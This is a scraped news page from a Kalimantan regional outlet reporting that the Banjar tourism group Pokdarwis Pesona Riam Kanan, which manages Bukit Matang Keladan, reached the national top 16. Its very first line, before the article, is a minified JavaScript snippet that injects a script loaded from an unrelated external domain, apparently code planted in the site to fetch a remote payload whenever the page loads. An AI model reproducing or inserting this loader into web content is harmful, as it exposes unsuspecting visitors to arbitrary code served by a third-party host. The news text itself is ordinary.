(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Kelola Bukit Matang Keladan, Pokdarwis Pesona Riam Kanan Masuk 16 Besar Nasional


MARTAPURA, Kerja keras Kelompok Sadar Wisata (Pokdarwis) Pesona Riam Kanan binaan Dinas Kebudayaan dan Pariwisata Kabupaten Banjar mengelola wisata alam Bukit Matang Keladan, membuahkan hasil. Pokdarwis Pesona Riam Kanan yang mewakili Provinsi Kalimantan Selatan berhasil menembus 16 besar Pokdarwis terbaik se-Indonesia.

Pokdarwis Pesona Riam Kanan dinyatakan lolos pada penilaian administrasi dengan menyertakan berbagai berkas pendukung oleh Tim Kementerian Pariwisata turun melakukan penilaian ke lapangan pada Rabu (24/7).

“Pokdarwis Pesona Riam Kanan merupakan salah satu binaan Disbudpar Banjar, merupakan salah satu di antara 2 Pokdarwis yang mewakili Kalsel ke tingkat Nasional,” jelas Kepala Disbudpar Kabupaten Banjar, Haris Rifani, Jumat (26/7).

Penilaian oleh tim juri dilakukan bertahap. Tahap pertama pada 14 Juni 2019 lalu, yakni penilaian administrasi berdasarkan formulir yang telah diisi berikut berkaspendukung untuk menentukan nominasi pemenang dari Pokdarwis se Indonesia.

Kemudian terpilih 16 besar Pokdarwis dari 14 Provinsi, yaitu Sumatera Utara, Riau, Kepulauan Bangka Belitung, Lampung, Banten, Jawa Barat, DI Yogyakarta, Jawa Timur, Bali, NTB, Kalimantan Barat, Kalimantan Timur, Kalimantan Selatan, Sulawesi Selatan, dan Maluku Utara.

“Tahap kedua Juli-Agustus 2019, yakni peninjauan ke lapangan oleh tim juri terhadap Pokdarwis yang masuk dalam nominasi. Apabila nanti Pokdarwis Pesona Riam Kanan memenuhi segala kreteria penilaian juri dan menjadi yang terbaik maka akan mendapat penghargaan apresiasi sadar wisata tingkat nasional,” ujarnya.

Haris Rifani mengatakan, kegiatan Pokdarwis tingkat nasional secara rutin dilaksanakan setiap tahun. Pokdarwis merupakan kelembagaan masyarakat yang anggotanya terdiri dari para pelaku kepariwisataan, memiliki kepedulian dan tanggung jawab serta berperan sebagai penggerak dalam pertumbuhan dan perkembangan kepariwisataan.

Masih menurut Haris Rifani, masyarakat perlu diberdayakan agar mempunyai kemampuan untuk dapat berperan aktif dalam program kepariwisataan. Mengingat keterlibatan masyarakat lokal menjadi penting termasuk dalam kaitannya dengan upaya keberlanjutan pariwisata yang mencakup perlindungan terhadap alam dan lingkungan, serta budaya dan adat istiadat. “Manfaatnya secara ekonomi bagi kesejahteraan masyarakat,” pungkasnya. (rendy)

Reporter:Rendy
Editor:Bie

Desy Arfianty

Recent Posts

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

45 menit ago

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

8 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

11 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

12 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

16 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

17 jam ago

This website uses cookies.